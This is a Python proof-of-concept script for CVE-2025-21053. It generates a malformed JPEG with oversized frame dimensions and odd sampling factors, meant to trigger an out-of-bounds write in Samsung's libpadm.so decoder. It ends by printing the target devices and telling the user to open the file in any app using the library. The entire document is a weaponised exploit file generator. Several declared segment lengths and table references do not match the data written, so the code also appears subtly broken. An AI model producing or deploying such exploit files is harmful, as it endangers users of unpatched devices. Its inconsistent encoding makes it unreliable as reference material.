# CVE-2025-21053 PoC - Malformed JPEG Header Triggering OOB Write in libpadm.so
# This PoC constructs a JPEG file with corrupted header fields to trigger
# out-of-bounds write during JPEG decoding in Samsung's libpadm.so library.
import struct
def create_malformed_jpeg():
"""
Create a JPEG file with malformed SOF0 (Start of Frame) header
to trigger OOB write in libpadm.so parsing header for JPEG decoding.
The vulnerability exists in parsing header before SMR Oct-2025 Release 1.
"""
jpeg_data = bytearray()
# SOI (Start of Image) marker
jpeg_data += b'\xFF\xD8'
# APP0 marker (JFIF header) - minimal valid header
jpeg_data += b'\xFF\xE0' # APP0 marker
jpeg_data += struct.pack('>H', 16) # Length
jpeg_data += b'JFIF\x00' # Identifier
jpeg_data += b'\x01\x01' # Version
jpeg_data += b'\x00' # Units
jpeg_data += struct.pack('>HH', 1, 1) # X/Y density
jpeg_data += b'\x00\x00' # Thumbnail dimensions
# DQT marker (Define Quantization Table)
jpeg_data += b'\xFF\xDB'
jpeg_data += struct.pack('>H', 67) # Length
jpeg_data += b'\x00' # Table ID 0, precision 0 (8-bit)
jpeg_data += bytes([1] * 64) # Quantization values
# SOF0 marker (Start of Frame) - MALFORMED to trigger OOB write
# Crafting abnormally large width/height to cause buffer overflow
# during header parsing in libpadm.so
jpeg_data += b'\xFF\xC0' # SOF0 marker
jpeg_data += struct.pack('>H', 11) # Length (standard for 1 component)
jpeg_data += b'\x08' # Precision (8 bits)
# Abnormally large height and width to trigger OOB write
jpeg_data += struct.pack('>HH', 0xFFFF, 0xFFFF) # Height=65535, Width=65535
jpeg_data += b'\x03' # Number of components (Y, Cb, Cr)
# Component specifications - malformed sampling factors
jpeg_data += b'\x01\x22\x00' # Y: ID=1, sampling=2x2, Qt=0
jpeg_data += b'\x02\x11\x01' # Cb: ID=2, sampling=1x1, Qt=1
jpeg_data += b'\x03\x11\x01' # Cr: ID=3, sampling=1x1, Qt=1
# DHT marker (Define Huffman Table) - DC table
jpeg_data += b'\xFF\xC4'
jpeg_data += struct.pack('>H', 31) # Length
jpeg_data += b'\x00' # DC table, ID 0
jpeg_data += bytes([0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0])
jpeg_data += bytes([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])
# DHT marker - AC table
jpeg_data += b'\xFF\xC4'
jpeg_data += struct.pack('>H', 181) # Length
jpeg_data += b'\x10' # AC table, ID 0
jpeg_data += bytes([0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 0x7D])
huffman_values = bytes(range(162))
jpeg_data += huffman_values
# SOS marker (Start of Scan) with minimal scan data
jpeg_data += b'\xFF\xDA'
jpeg_data += struct.pack('>H', 8) # Length
jpeg_data += b'\x03' # Number of components
jpeg_data += b'\x01\x00' # Y: DC=0, AC=0
jpeg_data += b'\x02\x11' # Cb: DC=1, AC=1
jpeg_data += b'\x03\x11' # Cr: DC=1, AC=1
jpeg_data += b'\x00\x3F\x00' # Spectral selection
# Minimal scan data (will trigger OOB write during decoding)
jpeg_data += bytes([0xAA] * 256)
# EOI marker
jpeg_data += b'\xFF\xD9'
return bytes(jpeg_data)
if __name__ == "__main__":
poc = create_malformed_jpeg()
with open("cve_2025_21053_poc.jpg", "wb") as f:
f.write(poc)
print(f"[+] Malformed JPEG PoC created: cve_2025_21053_poc.jpg ({len(poc)} bytes)")
print("[+] Target: Samsung devices with libpadm.so prior to SMR Oct-2025 Release 1")
print("[+] Trigger: Open the JPEG file with any app using libpadm.so for decoding")